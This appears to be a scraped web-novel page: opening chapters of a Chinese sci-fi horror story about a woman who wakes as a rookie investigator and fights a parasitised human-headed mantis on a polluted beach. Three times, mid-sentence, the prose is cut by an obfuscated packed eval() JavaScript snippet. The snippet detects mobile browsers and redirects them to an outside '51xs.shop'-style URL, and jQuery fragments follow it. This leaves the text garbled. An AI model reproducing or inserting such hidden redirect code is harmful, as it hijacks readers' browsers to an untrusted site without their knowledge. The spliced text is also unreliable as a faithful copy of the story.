《成神之日》 1. 欢迎来到 夏夜沙滩(一) 巨大的轰鸣声。 时序睁开眼,怔怔看着窗外的【风景】。 【触发支线任务:探明身世,任务剩余时常:1000小时。】 一道电子合成音在她脑海中响起。 时序没有管脑海中的声音,而是通过窗往外看,此刻她正坐在某种飞行器上,外面的世界不再是她熟悉的蓝天白云,陆地变成很小的一块,勉强能看到大地一片荒芜,她此刻正在高空飞行,目光平行看过去,能看到遥远的天边有个废弃的空间站。 只是右眼的视角一片漆黑,她抬手摸向右眼,右眼的部位不是温热的人体温度,而是带有磨砂粗粝感的眼罩。 她尝试着眨右眼,然而右眼没有传来任何直觉,她甚至感觉不到右眼的存在。 她有些怔楞。 “时序?时序!发什么呆呢?距离任务地点还有五分钟,赶紧准备了。”有人使劲怼她胳膊,冲她嚷嚷道。 时序放下手,抿着嘴唇,跟随着人群站起来,她只是睡了一觉而已,怎么就变成现在这样了? “你知道我们现在距离地面大概有多少距离?”时序问站在她旁边的人,是刚才怼她胳膊的男人。 男人不耐烦,“你怎么总是问稀奇古怪的问题,现在我们在大气层边缘,你是博士学历,不至于连这个基本常识都不知道吧?” 时序心里翻涌,好家伙,她本科还没上完,一觉醒来直接成博士了。 “别扯这些有的没的,赶紧把头盔戴上,装备穿戴好了没?我警告你,别拖我后腿哈,一点调查员的样子都没有,你是怎么被选上的?”范星火抱怨道。 时序下意识摸腰间的装备,坐着的时候她就感觉腰部发沉,她现在身穿一身黑色作战服,腰上别着枪套,身后有一大一小两个背包,腰后别着一把短柄斧。 【触发主线任务,探明世界真相,任务剩余时长:1000小时。】 声音再度响起,时序站在飞行器边缘,已经有同伴背着降落伞跳下去了,范星火一脸鄙夷的看她,对她的表现十分不满意。 “新人培训应该教过你怎么跳吧?祝你好运,别被摔死了。”范星火说罢自己跳下去,飞行器上除了坐在边沿的带队人,就剩下她一个。 带队人见她磨蹭着不肯下去,站起来往她这边走,一边说道:“磨蹭什么?赶紧滚下去。” 时序被一脚踢出飞行器。 她飞速下坠着,失重感令她肾上腺素飙升,克制住放声尖叫的冲动,她手忙脚乱的在身上乱摸,她没有参加过狗屁的新人培训!压根不会用降落伞啊! 急中生智她想起来在电视上看到过,降落伞胸前会有个抽绳,只要下降到一定距离,及时拉开抽绳调整落地距离和姿势就行。 好像也不是很难的样子。 可是她没有参照物,看不到陆地,不知道自己下降了多少,无法判定距离。 【警告,警告,存在死亡风险,请立即拉开抽绳。】 时序听到声音,不管三七二十一把抽绳拉开,声音又告诉她坐标,让她降落到坐标点位。 这时她已经能看到陆地,根据头盔上显示的坐标,降落地点是一处海滩,时序松口气,还好不是山里或水里,不然她的生存概率又要小一点。 拉开抽绳后她小心调整位置,眼神无意间瞟到深海有什么在涌动,她定睛看了一眼,海里密密麻麻一层叠着一层像水草一样,绵延整片海域。 时序手拽着拉绳,她宁可摔死在沙滩上也不要掉水里,水里的玩意看得她头皮发麻。 在所有同事的注视下,时序以及其狼狈的姿势落地,还在地上滚了好几圈,最后灰头土脸的从降落伞里爬出来。 范星火脸色铁青,没想到他的新搭档这么没用,连降落伞都用不好。 “哈哈哈哈范哥,你这新搭档有点意思啊!不过调查员嘛,别要求太多,能活着就不错啦!”旁边的人拍他肩膀,笑嘻嘻地说。 范星火没理他,径直走到时序身边,时序在收拾降落伞,尽管社死,但好歹活下来了,总比笨拙的摔成肉饼强。 范星火一声不吭帮她收拾好降落伞,等时序归队,小分队开始行动,范星火是小分队队长,他看了眼腕上的终端,确认坐标无误后,范星火宣布任务开始。 时序落在后面,她安静的观察着周边的环境,作战靴踩在沙滩上发出咯吱咯吱的声音,她微侧着头看海水,她总觉得海水比她认知里的颜色要深很多,几乎像浓稠的墨一样黑,沙滩边有自助饮料机和零星的遮阳伞躺椅,这里应该是个景点。 但是这些景点常见的设备,通通都特别老旧,饮料机边角的铁皮都翘起来,很明显已经坏了很久。 她转回目光,观察起她的同事们来。 根据范星火的话,可以推断出她现在是一名新人调查员,刚接受过新人培训就被安排执行任务,她手腕上有个类似于智能手表的玩意,范星火刚刚就是用这玩意检查坐标,给队员下发指令。 终端像智能手表一样解锁前显示时间,时序浅浅略过一眼,时间写着N.D130年6月13日下午13点整,进入界面后有密码,她输入生日,顺利打开终端,她尝试着一一点开图标,点到其中一个图标时,她的个人信息冒出来: 【姓名:时序】 【性别:女】 【年龄:20】 【学历:博士】 【职业:异化研究中心调查员(实习)】 时序在职业栏停顿两秒,默默关掉终端,看来她不是穿书就是来到什么异世界,反正唯一可以确定的是她不在原来的世界。 “嗨,我看你有点紧张,要不要聊聊天?反正距离任务坐标点还有好长一段路。”有个人突然自来熟的揽住时序的肩膀嘻嘻哈哈地说。 时序肩膀抖动了一下,扭头透过头盔对来人笑,“好啊!” “我叫安燃,跟你一样,咱俩还一起接受过新人培训呢!哎,培训刚完就让出任务,看来研究中心也不行啦!”安燃松开她,两人并排走在最后。 “你比我还惨,把你分给范哥,范哥可是出了名的脾气暴躁。”安燃啧啧两声,看时序的眼神充满惋惜。 时序:“真那么惨吗?我还是有点迷糊。” 安燃擦擦头盔上的水,“哪来的水,这青天白日的要下雨了?哎我接着说哈,范哥是咱们小队的队长,咱们的主要目标还是出来见世面,通过第一次任务的,都会自动晋升为青铜调查员,工资翻倍,爽死了!” 青铜调查员,上面不会还有白银黄金铂金钻石吧? 时序露出得体的微笑,“这么一说确实,希望我能变成王者调查员。” 安燃:“亏你还是博士,怎么都不用心听的?咱们调查员的级别是新人、青铜、白银、黄金、铂金、钻石、精英、深渊。范哥他们是执行科的,跟咱们不是一个晋升渠道。” 时序干笑两声,原主是博士跟她有什么关系,她只是个普通的女大学生而已,研究生都不一定能考的上。 头盔上的水滴越来越多,真的下雨了,安燃打开头盔上的小雨刷器,呸了一声,“真晦气,赶上下雨,这破地方。” 时序没吭声,操作一番照猫画虎拧动头盔外面的按钮,打开雨刷,这时队伍前面传来范星火的声音,“所有人!加快步伐!跑起来!” 调查员穿的灰黑色连体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13751434|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作战服能防水,头盔也是,时序伸出带着手套的手接了两滴雨水,发现雨水里好像有东西在蠕动。 安燃啪地一下拍掉她的手,拽着她小跑跟上队伍,“还敢接雨水,你不怕异化啊,赶紧走,咱们的装备在雨里面无法撑太长时间。” 时序在头盔里抿紧嘴唇,安燃刚才不是随手抹了把头盔上的雨水吗? 她放下心中不舒适的感觉,转而思考起别的问题来,她在意安燃话里的异化两个字,她记下这个词,跟上安燃的步伐,小分队在范星火的带领下跑到海滩附近的山洞里避雨,时序什么都不会,还好身边有安燃,她可以跟着对方的动作学着开启作战服的净化功能。 安燃大大咧咧的摘下头盔,深深吸了口气,“爽啊!范哥,给我们讲讲这次任务呗?我们都是新人,啥都不知道。” 范星火没摘头盔,他长得高大,身上的肌肉把作战服绷得紧紧的,他瞥了眼安燃,抬起手腕按终端,“把头盔戴上,我把任务下发终端,你们用终端看,都是新人,研究中心不会给你们分太难的任务,这次主要以调查为主。” 安燃做了几个深呼吸重新把头盔戴好,“范哥,看终端多没意思,讲讲嘛~” 时序安静的站在一边,戴着头盔,每个人长相都是看不到的,只能通过身材声音进行大致判断,安燃声音轻浮,身高腿长,肢体动作十分浮夸,还爱动手动脚。 摘下头盔果不其然,细长的眉眼满是轻浮。 安燃一说话,剩下的几个新人跟着起哄,时序数了下人数,加上范星火,2女6男总共8人,全都是结束培训上岗的,调查员只有时序和安燃,剩下的都是执行科的人。 时序没跟着起哄,她站在一边抬腕正看终端,总算对自己现在的处境有大致了解,终端上有备忘录,原主会把每天的待办事项记录到上面,完成后还会在后面备注时间。 每天都有记录,时序犹豫一下,先把今天的备忘录打开。 【ND130年6月13日9:00AM,进入13区异化研究中心大楼。】 【培训完成。11:15AM】 【出发前往13区外海滩旅游景区调查。12:20AM】 她关掉备忘录,范星火正在讲关于任务的注意事项,起哄的人正小声聊天,根本没在听,时序皱眉,捅了下正聊的火热的安燃,“你听到奇怪的声音吗?” 安燃哈哈两声,“什么声音?” “虫子的声音。” 安燃侧耳听了下,茫然,“我什么都没听到……” 时序抬眼,范星火后面是黑洞洞的岩石,但此刻岩石上隐约有个类人型生物,范星火正站在山洞稍微高点的岩石上讲话,下面的聊天声甚至有要盖过他讲话的架势,正当他准备训斥的时候,后背突然一阵发凉,接着他感到一阵强烈的危机感,脑子还没反应过来,身体已经提前做出反应,从高处前滚翻滚到岩石下面。 一阵破空声席卷而来,站在最前排聊天的两个新人躲避不及,直接连着头盔被削掉半边脑袋当场暴毙,范星火顾不得太多,他一脚踢开两具尸体,拂开碎石挡在前面大吼,“拿武器!有异化物!” 他抽出腰间的短刀,扑上去跟异化物打作一团,时序站在山洞边缘,并没有立即抽出武器,而是眯着眼往范星火那边看,范星火正在跟长着人头的螳螂缠斗。 时序想,原来这就是异化物,刚看身影还像个人,这会除了头是人类的头,脖子以下基本就是只绿色的螳螂。 与此同时,所有人头盔里响起毫无起伏的机械女声: 【异化等级:2,任务等级上升,请分队队长启动救援权限,立即向中心请求救援。】 2. 欢迎来到 夏夜沙滩(二) 范星火心里发苦,2级异化物为什么会出现在这里?他所在的科室平时几乎没遇到过有等级的异化物,基本都是没有等级的杂兵。 异化螳螂动作很快,劈砍的动作越来越娴熟,力道也愈发的大,范星火没空看身后新人们现在是怎样的表情,光是躲避螳螂的利刃他都要竭尽全力。 身后有人,他没法后撤用杀伤力大的武器,异化物不光身体强悍,还有各种各样的能力,不是掏出武器一通突突就能解决的。 只能用近战武器先进行试探。 一脚踹倒螳螂后,范星火终于有喘息的机会,他狼狈的快速回头看了眼身后,新人们全部都撤到山洞边缘,胆子大的已经拿出镭射枪准备进行火力支援。 范星火咽下嘴里带血的唾液,刚才踹螳螂肚子的时候,他靴子直接陷进去,紧接着一阵又一阵的涌动从鞋底传来,令他头皮发麻,立刻收回脚。螳螂肚子里有东西,还有很多。 本来想开膛破肚的,肚子里的东西让他打消了这个念头。 “别开枪!肚子里有东西!”范星火喊道。 时序半边身体隐没在黑暗中,目光从地上的两具尸体移到螳螂身上,两个新人半拉头没了,脑浆洒的到处都是,地上一片红白相间,场面看起来十分凄惨。 “时序你真淡定啊……我去这枪的保险怎么搞,培训没教过,范哥还说不让开枪,笑死,压根不会!”安燃扶着洞内边沿口齿不清,他吐了一头盔,地上的尸体太恶心了,时序竟然还能盯着看。 看到还有力气叭叭的安燃,时序抿了抿唇角,她从后腰抽出一把斧头,调查员的装备跟执行科一样,除了都配有枪械外,还要求配备一把近战武器,原主的是斧子,倒也方便。 “你觉得螳螂为什么会出现在沙滩上?”时序问安燃。 安燃懵了,“我哪知道啊?这还是我头一次见,你说这玩意叫螳螂?” 螳螂倒地后,人脸上露出明显痛苦的神色,范星火喘息间一边示意所有人往后撤一边警惕的观察异化螳螂的动作,异化螳螂巨大柔软的白色腹部此时可以看到明显的涌动,像波浪一样。 人脸痛苦的张开嘴,时序看到一根黑色的触手从螳螂嘴里伸出一点来,没有攻击,反而左摇右摆似乎在寻找什么。 “水……水……啊……!”异化螳螂的人眼涌出血色的两道眼泪,触手让它无法合上嘴,淡红色不停顺着嘴角往外流,口齿不清不停重复着【水】字。 几秒种后,触手顺着螳螂的喉咙回到腹部,异化物螳螂缓缓站起来,这次所有人都听懂它在说水。 “它好像在说……水?”安燃声音抖个不停,所有人都看到刚才黑色触手从螳螂嘴里出来那一幕。 对新人来说,这实在太诡异了,难道螳螂肚子里面都是那么粗的触手? 所有人不禁捂住喉咙疯狂咽唾沫。 “应该是,它想去有水源的地方。”时序略显沉闷的声音隔着头盔穿到安燃耳朵里。 安燃跟时序并排站在洞口边缘,头盔挡着他看不到时序的表情,可时序的肢体动作表示她并不是很害怕异化物。 这可是2级异化物啊……他们这帮新人连异化物都没见过,现在直接跳级到2级,他算是心理素质比较强的,只是呕吐,有些新人已经被异化物的外形影响,出现神经失常的症状了。 时序停顿一秒钟,突然冲过去,冲到范星火附近大喊,“范哥,能把它引出洞吗?” 范星火躲开螳螂的一记劈砍,翻滚的动作有些狼狈,“外面下雨,让它出去更打不过!” 难道外面的雨水对异化物有增幅作用? 时序握紧手里的斧子,飞速绕到螳螂身后,既然是人头,那总归视力也跟人类差不多,有死角。 范星火跟时序双面夹击,螳螂无暇顾及后背,没两分钟,翅膀被时序成功乱斧砍烂半边,螳螂似乎发怒了,一张人脸满是狰狞扭曲,时序一个恍神,总觉得人脸越来越像螳螂了。 “范哥!外面雨停了!”安燃大声喊。 “把它引出去你有办法?这可是2级异化物。”范星火小声问,螳螂虽然被他们激怒,可翅膀被砍烂,它不敢轻举妄动。 时序其实也拿不准,“螳螂身体里有寄生虫,寄生虫喜欢水,所以我估计这只螳螂才会出现在这里,把它引出去试试,让海水淹死它。” 范星火咬牙,反正都是死,还不如搏一搏,时序有博士学位,知道的肯定比他们多。 “全员散开后撤!把螳螂引出山洞!”范星火喊完冲上去又跟螳螂打作一团,时序在旁边时不时帮忙,这只螳螂刚刚羽化,身上的甲壳比较柔软,所以她和范星火才能短时间内让螳螂吃亏,等它身上彻底干燥,螳螂肯定不会放过他们。 翅膀被砍的七零八碎,螳螂的人头越发扭曲,发出刺耳凄厉的尖叫,时序一边躲避攻击一边静静观察螳螂的状态,她发现螳螂的头隐隐发绿,眼睛逐渐变成昆虫特有的复眼,人类的嘴唇正在逐渐变化成口器。 异化螳螂始终打不到两个猴子一样上蹿下跳的人,逐渐失去思考能力,它在愤怒的同时,大脑告诉它让它快点出去,外面有海滩,它要赶紧出去。 螳螂的动作慢了下来,时序趁机脱离,任由范星火对付螳螂,她则回到安燃身边。 “姐你真牛啊!以前是不是练过?跟范哥不相上下!”安燃声音闷闷的,呕吐物在头盔里,他不敢说太多,生怕呕吐物倒流回他嘴里。 时序的目光还是专注的盯着前方,安燃总觉得这个人有些怪,哪有第一次出任务就这么淡定的?碰到异化物居然还敢上去砍几下。 只是……他有些不敢想,时序看得那么专注,她在看什么?是看跟螳螂缠斗的队友?还是发狂的螳螂异化物,亦或是…… 地上碎成一片片的队友。 不管哪个都挺渗人的。 愣了个神的功夫,范星火已经快到洞口了,暴怒的螳螂毫无理智可言,一心只想用巨大的镰刀劈死范星火,范星火头盔上的玻璃已经裂开,他撑不了多久了。 刚下过雨的沙滩上到处都是污染,大海里传来窸窸窣窣的声音,听的人毛骨悚然。 安燃往时序这边凑了凑,他想把头盔打开清理呕吐物,但终端测出这里的污染浓度很高,打开头盔的话,最多几秒钟,他就会变成跟螳螂异化物一样的玩意。 “呕……”安燃又吐了。 时序对他视若无睹,她再度拿出斧头,瞅准机会直直冲着范星火扔出去,刚缓过来的安燃抬头便看到时序把玩了下手中的斧头,然后对准范星火的脑袋掷了出去。 安燃眼眶差点瞪出来,我草这人什么来头,不会打算趁乱噶了搭档好换一个吧?! 范星火好歹跟异化物战斗多年,身体有肌肉记忆,听到身后破风声传来,他本能地向左歪头,斧子贴着他的头盔边缘擦过去,还顺带削掉头盔外面的一小块凸起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13751435|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一秒,螳螂异化物的脑袋被斜切掉三分之一,左边的复眼整块削掉,黄白相间的脑浆混合着鲜血顺着切口流下来,看上去异常渗人。 范星火甩掉身上的肉块组织,螳螂发出凄厉的尖啸声,变成两把镰刀的手臂拼命伸着想摸脑袋上的伤处,可它失去了人类的手臂,越想摸,身上的伤口越多。 范星火捡起斧子,顺势劈掉异化物的脑袋,昆虫即使没有脑袋也能存活一段时间,随着身首分家,螳螂倒地不停抽搐着。 时序走过去,不顾范星火的阻止,拽着螳螂右半边脑袋的触角,提起螳螂头,透过头盔观察着。 范星火脸色难看的抢过螳螂头径直扔到大海里,“培训才过去两个小时,什么都忘了?” 时序沉默,她确实不知道。 “对不起范哥,我刚忘了。”她低声道歉。 螳螂尸体不断抽搐着,他不敢掉以轻心,抬头看了眼挂在正中间的太阳,这场太阳雨下的莫名其妙,让他心里涌上阵阵不安。 下雨可不是好兆头,他在心里叹气。 “我们……怎么少了两个人?”范星火打算先清点下人数,然而他环顾四周,站着的只剩安燃时序和另一个女生。 女孩被吓得不轻,能站着已经算是不错,她颤巍巍指了指大海,“有两个人……摘掉头盔跳下去了……” 范星火没吭声,还没到任务地点就死了一半人,死得还全是执行科的人,瞥了眼螳螂,他吩咐道:“时序,你去山洞里,把那两具尸体上的装备扒下来,人死了装备不能浪费,我们任务还没结束。” 时序点头,抬起脚正想走,安燃冲过来抢过话头,“范范范范哥,我和她一块去。” 赫然指着除了时序的另一个女孩,女孩噫了一声,有些抗拒。 范星火疲惫的摆手,“随便谁都行,快去。” 洞里除了尸体什么都没有,两个人去问题不大。 安燃连拖带拽跟女孩往山洞走,沙滩上只留下时序和范星火,还有流了一地血的异化物。 原来异化物头没了也是会死的,她若有所思的看着异化物血液汇聚成的小溪。 “别愣着时序,过来,异化物还没完全死亡,你不是说它肚子里的寄生虫喜欢水吗?怎么还没出……我……!”范星火说着说着一声惊叫,他一把拉过距离异化物不足五米的时序,把人护在身后。 原本渐渐停止抽搐的螳螂再度抽搐,幅度比之前更大,巨大的腹部像波浪一样起起伏伏,像是要被撑开似的。 飘在海面上的螳螂头若有所感,还算完整的右半边脑袋露出极度痛苦的表情,时序挑眉,范星火一边带她后退一边解释,“异化物身体恢复能力很强,只要身体在一定范围内不是离的太远,是能感觉到本体状态的。” 看来这只螳螂现在处于极度痛苦中。 “范哥,出来了。”时序低声说。 范星火收回目光,他们在洞里看见的黑色触手通过脖颈处的切口往外挤,被挤出来的还有身为人类时的内脏。 先是一根,接着又是几根,螳螂的上半身已然被挤烂,时序数了下,出来的大概有七八条,巨大的白绿色腹部还在涌动,看来里面还有。 “这是什么啊……”范星火惊呆了,他从来没见过这样诡异的场景,一只上半身破破烂烂的螳螂,在细长黑色触手的带动下,尸体不停往海边…… 蛄蛹。 这是他唯一能想到的词。 3. 欢迎来到 夏夜沙滩(三) “一种寄生虫,专门寄生螳螂,会分泌一种物质驱使螳螂往有水的地方走好让它繁殖,没想到人类也会被寄生。”时序平静无波地说,仿佛眼前的场景司空见惯,没有对她造成一点震撼。 范星火咽了口唾沫,这玩意会寄生人类? 想想也是,异化物大多都是人类变成的,可是…… 他脑海中闪过一个疑问:这个人类是怎么出现在这里的?要知道从离这里最近的十三区出发,大型飞行器也要飞接近一个小时。 “被寄生后的螳螂会变成行尸走肉,除了不停进食给寄生虫提供营养,再没有任何意义,连螳螂本身都会变成它的养分,它会吃螳螂的内脏,等螳螂彻底成为一具空壳后,驱使螳螂到水边,然后爆体而出去水里繁殖,等待着下一个宿主的到来。”时序说着,打断了范星火的疑问。 时序解释的这么一会功夫,触手带着螳螂尸体蛄蛹到海滩的浅水部位,感知到水的存在,触手们更加狂暴,剩下的索性破体而出,争先恐后的往海水里钻去。 螳螂原本饱满的腹部顿时干瘪,剩下薄薄一层皮,随着海浪在浅滩飘荡。 “2级异化物被寄生虫啃噬殆尽,连结晶都没留下,”范星火喃喃自语。 结晶?时序暗暗记下关键词,出完任务她必须得好好了解这个世界,目前看来这里不是那么好混的。 连范星火这样的老人都没见过的阵仗,她噶在任务中的概率会很大。 心思一转,她问:“范哥,中心那边怎么说?我们要在这里等待救援吗?” 十五分钟前范星火呼叫救援了,只要撑到救援过来,他们或许还有生还的机会。 范星火:“不知道,中心没回应……时序,你把我头盔的信息联络装置弄坏了,难怪我没收到消息。” 时序扔消防斧的时候擦到范星火头盔的左侧凸起,那是头盔的发信装置,用来收发中心消息。 “你看看你的终端有消息没。”范星火吩咐道,触手全部跑到海里了,不过谁知道还会不会上来,他们必须赶快离开到达任务点。 时序点头,点开终端,没有任何新消息。 “范哥,我们还要继续任务?”时序犹疑一秒钟,还是选择问出来。 范星火摇头,“任务无法继续,但我们还是需要前往任务点,我怀疑这里信号被屏蔽,任务点有应急设备,或许还能跟中心联络。” 时序疑惑,“任务点为什么会有应急设备?” 原主的终端里可没记录过,应该是范星火知道一些她们新人不知道的事。 范星火抹了把头盔,“先撤,路上说。” 时序抬眼,安燃和女孩抱着装备回来了,执行科的装备比调查员齐全很多,时序和安燃除了连体防护服,肩上各有一个双肩包,为了执行任务方便,包平时是固定在防护服上的,通过开关可以将包取下来。 包里面除了调查员专用的监测记录仪,还有烟雾弹□□之类的,再就是一把小型手枪,连稍微大一点的枪械都没有。 对异化物来说,□□管用吗?时序咂嘴。 跟执行科装备比起来,调查员简直寒酸到不行。 “给你们两个一人一把防身,最好不要弄丢,任务结束要还回来。”范星火丢给时序和安燃一人一把镭射枪,又分给三人一些食物补给,分好赃后,一行四人离开海滩,继续往度假村深处走。 没人注意到,在他们走后,被海浪冲上岸的触手碎块。 …… 路上范星火接着跟时序她们说:“这个度假村其实算是新手任务,中心调查过确认没有高等级异化物,所以才放心让你们过来执行任务。” 说着他咬牙切齿,“只是情况有变,一下损失4名新人。” “我们执行科的人跟你们调查员不一样,每个新人都是经过一年培训的,调查员只要学习异化物相关资料和会操作记录仪就行。”范星火语气不经意带着对调查员的轻视。 在他看来,时序的那一斧子只是碰巧,但时序的博士学历还真派上用场,范星火活了三十几年,从来没听说过螳螂这种昆虫。 他甚至都没有【生活中会出现虫子】这个概念。 时序对范星火话语间对调查员的轻视感到不舒服,毕竟她就是调查员,然而她也了然,原来是新手村任务,难怪中心这么放心的只安排一个老人带队。 只是谁都没想到会蹿出来个2级异化物。 “我靠,还没到任务点就遇到个2级异化物,那我们还执行毛任务啊,范哥别去任务点原地等待救援吧!我真的不想死啊!”安燃差点跳起来,除了范星火,他们都是一帮新兵蛋子,万一任务点有更高级的异化物,他们拿头打,送都不带这么爽快的。 范星火不耐烦,“我联系不到中心,只能去任务点用应急设备联络,安燃你屁话怎么那么多,再哔哔直接滚。” 安燃不敢吭声了。 范星火真能做出来。 任务点就在这家临海度假村的豪华酒店里面,时序在海滩边看到的破败设施,全都属于度假村所有,酒店距离海边大约两三公里,修建在山顶,他们只需沿着海边公路走就行。 时序一边走一边用终端搜索关于这座度假村的资料,终端跟头盔相连,头盔的镜片有类似VR的功能,让她可以边走路边查资料,两不耽误。 她毫不怀疑用头盔看电影都没问题。 安燃安静了几分钟,还是不甘寂寞的蹿到时序身边,跟时序小声叭叭,“你有没有感觉范哥很狂躁啊,我觉得他心情好像不太好的亚子。” 时序瞟他一眼,要是安燃看到寄生虫从螳螂身体里钻出来的场景,说不定比范星火还狂躁,范星火已经算是克制的了。 沿海的盘山公路很好走,四个人走了不到二十分钟,酒店并不是完全建在山顶,而是建在半山腰上,高低错落有致,尽管看起来异常老旧,但不难想象以前是有多么的恢弘。 “应急设备应该在一楼大厅,你们好好跟在我身后不要掉队。”范星火在酒店门口再三叮嘱,然后才进去。 酒店玻璃门上的玻璃早就没了,门框变形严重,像是曾经被什么东西拧过似的,时序表情还算淡定,安燃和另一个妹子在门口徘徊迟迟不敢进。 “范哥说不要掉队,赶紧进来。”时序催促。 安燃还是很犹豫,明明艳阳高照,从外面往里看去酒店大堂还是黑漆漆的,范星火一走进去就看不到人在哪里,加上脚下的一堆废墟,直觉疯狂警告安燃不要进。 女孩看了眼在另一侧等着的时序,又看了看焦虑不安的安燃,跺跺脚硬着头皮走进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13751436|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,安燃看除了他都进去了,在门口原地转了几圈,跟着进去。 脚刚踏入大门,他感觉到像是身处粘稠的水中,咸湿感围绕在他周围,隐隐还有大海的腥臭味。 他皱眉,“你们闻到什么味道没?臭烘烘的,像是……什么东西在海里腐烂了。” 时序笑,“你形容的还挺具体,我没闻到,你闻到了吗?”她扭头问女孩。 女孩摇头。 安燃想挠头,手伸上去发现是头盔,他放下手,浑身上下有种说不上来的感觉。 有点痒。 时序什么感觉都没有,范星火就在大堂前台调试设备,她直直朝着范星火走去,走到跟前,范星火好像感觉不到她的存在,专心致志干着手中的工作。 不对劲,范星火不对劲,奇异的违和感充斥全身,时序定定看了会,突然开口,“范哥,你头盔呢?” 范星火没理她,仍旧低着头。 安燃起了一身鸡皮疙瘩,他看到范星火周围密密麻麻的全是小水泡,就跟鱼在水里吐的泡泡一样,不停的上升着。 他顺势抬头仰望,酒店的天花板黑乎乎的,像是个黑洞,泡泡全被吸进莫名的黑色空间。 培训过的内容还在他脑子里历历在目:高级异化物的特征之一,巢穴内特有的粘稠的空间感。 时序还皱着眉思考,安燃一声惨笑,“时序……我们完了……,这里是高级异化物的巢穴,范哥说不定被夺舍了,为的就是把我们骗进来。” 时序抬手对着空气挥了挥,“啊,感觉黏糊糊的。” 安燃快疯了,可不黏糊糊的啊大姐!你旁边的【范星火】跟蜡人似的化了一地啊! 他想提醒时序离远点,可突然失声般一句话都说不出来,他艰难地扭头往女孩的方向看去,女孩双手捏着自己的脖子,满脸青紫。 他在头盔里无声大喊,没人听见。 时序自然看到了融化的范星火,她定定神,路上她恶补了原主终端里的培训记笔记,一般来说,高等级异化物是不杀人的,只会让人类异化,她们身上的作战服可以隔绝异化粒子,所以说,只要他们精神值稳定,就不会被污染。 她觉得自己还算稳定,只是…… 安燃和那女孩就没那么淡定了,她清清嗓子,离化成一地黏液的【范星火】远了点,对两个快要疯了的人说:“冷静点,培训讲过,高等级异化物不杀人,最坏的结果不过是被同化。” 话音刚落安燃用近乎尖叫的声音说:“被同化变成异化物还不如叫我去死啊!时序我不想在这呆着了,咱们快——” “闭嘴!”时序喝了一声,安燃的尖叫声像鸭子叫,刺耳不说搅得她心烦意乱,她制止安燃的尖叫,声音不自觉大了些,“好好想想,既然应急设备就在这间酒店内,我们只要找到设备求救,用现有的装备撑到救援到来,这很难吗?” 安燃停止尖叫,哽咽着说:“很难……执行科有维持精神状态的药品,我们啥都没,”他哭哭啼啼地冲女孩走过去,女孩已经服下药片,麻木地站在原地。 小水泡弥漫在他们周围,时不时发出轻微的咕噜声,天花板上方的黑洞仍旧将水泡缓缓吸进去,时序抬头,看了十几秒钟,迸出一句话来: “你们有没有觉得,这有点像抽水马桶?” 4. 欢迎来到 夏夜沙滩(四) 如果上方是抽水马桶的话,那么身在马桶里面的他们又是什么?安燃不敢说,安燃不敢问。 不过他的精神倒是稳定了些。 人类的精神稳定果然离不开屎尿屁,他想。 拜时序所赐,两人冷静下来,女孩也从最开始的麻木感知到些许活力,时序看她动作没那么死板了,问她叫什么名字。 “晏清。” 晏清声音低沉稳重,跟她娇小的体格完全不搭,时序怔了下,伸手捻起一颗缓慢上升的水泡。 “你疯了时序!你怎么敢碰的,不怕被异化啊!”安燃大呼小叫的,时序瞥他一眼,继续观察着手心的水泡。 “这好像就是冲——单纯的水。”时序下结论,水泡离开她的掌心,缓缓向上升,去往未知的黑洞。 安燃小心的避开水泡,跟在时序后面边走边观察,晏清走在最后面,一句话都没说。 酒店轮廓从外面看像是台阶,一层一层的,他们现在在一楼大堂,这间酒店设计很特别,大堂整个都是镂空的,阶梯在两侧成螺旋状,中间直接能看到顶层的天花板。 时序不是很懂建筑,但她觉得能这样设计的人是个鬼才,这么高的大堂,谁看了不说句牛。 “你知道应急设备长什么样吗?”时序扭头问。 “我哪知道啊,你是范哥的副手,你应该知道的,时序,你从培训完怎么就不太对劲,你记忆力这么差是怎么当上博士的?”安燃暴击。 时序连忙咳嗽两声掩饰尴尬,接受培训的是原主,博士也是原主,跟她有什么关系? 没等她反驳,安燃给自己找补,“不过想想也是,咱们来到沙滩后什么都不顺利,要我是范哥,估计心态早就崩了。” 头顶上的黑洞目前对她们没太大兴趣,自顾自吸收着水泡,三人在废墟般的酒店大堂转了一圈,没找到任何看上去像应急设备的东西。 “会不会根本没有所谓的应急设备?”安燃坐在碎石上沮丧地说。 如果【范星火】被掉包,骗他们这里有应急设备也是有可能的,可能性还很高。 一想到要变成奇形怪状的异化物,安燃就后脊背一阵发凉。 时序不死心的在前台翻找,晏清跟她一起,两人翻遍前台所有抽屉,除了一堆废纸,什么都没有。 